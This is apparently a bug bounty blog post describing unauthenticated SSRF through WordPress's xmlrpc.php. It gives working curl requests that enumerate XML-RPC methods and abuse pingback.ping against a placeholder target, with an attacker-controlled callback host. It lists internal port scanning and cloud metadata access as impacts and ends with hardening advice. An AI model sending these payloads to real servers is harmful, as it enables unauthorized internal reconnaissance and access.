Sitemap

🛰️ So… I Made a Server Call Me Back. Unauthenticated SSRF via XML-RPC

3 min readJun 30, 2025

--

One fine evening, while sipping coffee stronger than my will to live, I accidentally made a server talk to me. Literally.

☕ The Setup: XML-RPC aka WordPress’s Forgotten Child

Ever stumble upon a file named xmlrpc.php and think, “Oh look, a rusty gate to the backend world”?

That’s exactly what I thought. And like every other bored hacker with caffeine in their blood, I poked it using curl.

Request:

curl -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>'

Response:

<methodResponse>
<params>
<param><value><string>Hello!</string></value></param>
</params>
</methodResponse>

Server said hello. I said: “Nice to meet you, let’s be friends… maliciously.” 😈

🔍 Enumerating Methods Like a Nosy Neighbor

Naturally, I wanted to know what tricks this server had.

Request:

curl -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

Response:
A giant list of methods dropped like:

pingback.ping  
metaWeblog.newPost
wp.uploadFile
blogger.deletePost
wp.getUsers
...

When you realize the server knows more methods than you do in Python.

🚨 The Vulnerability That Hit Different: pingback.ping

So what does pingback.ping do?
Well, it lets the server make a request to another URL.

Imagine calling your friend to check if someone linked your blog — now imagine your friend is a vulnerable server that calls any URL you give it.

So I handed it a very harmless link (my Burp Collaborator domain).

Payload:

curl -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://attacker.burpcollaborator.net</string></value></param>
<param><value><string>https://target.com/blog/hello-world</string></value></param>
</params>
</methodCall>'

📡 And It Responded… Loudly

My Burp Collaborator popped off like:

  • ✅ DNS Lookup from one IP
  • ✅ HTTP request from another IP
  • ✅ Extra DNS queries from a third

Bro, the server was working harder than me on a Monday morning.

😱 Impact: Why You Shouldn’t Trust Strangers

With this unauthenticated SSRF (Server-Side Request Forgery), I could:

  • Port scan internal services like a nosy neighbor
  • Try to reach metadata services (http://169.254.169.254)
  • Abuse it to pivot further
  • Chain it with more vulnerabilities (like RCE, who knows!)

All without logging in. Just plain XML and desperation.

🔒 Recommendations (aka How to Make Your Server Less Friendly)

  • Disable pingback.ping unless you really need it
  • Block xmlrpc.php entirely if unused
  • Use allowlists on outbound HTTP requests
  • Monitor internal traffic like you monitor memes during work

🧑‍💻 Researcher Behind the Chaos

Hi, I’m Mayank aka AIwolfie.

I break things ethically, automate recon, and drink coffee like it’s a legal drug (which it is… for now).
You can catch my tools and chaos here: https://github.com/AIwolfie

☕ Final Thoughts

If your server still supports XML-RPC in 2025, and especially pingback.ping, it’s basically saying:

“I’m open to conversations… even with attackers.”

Patch up. Audit your WordPress setups. And never underestimate old endpoints with long names.

Also: drink your coffee. The bugs won’t find themselves.

--

--

AIwolfie
AIwolfie

Written by AIwolfie

Cybersecurity enthusiast ☕ | Ethical hacker | Bug bounty hunter | Sharing insights on vulnerabilities to help make the web a safer place.

No responses yet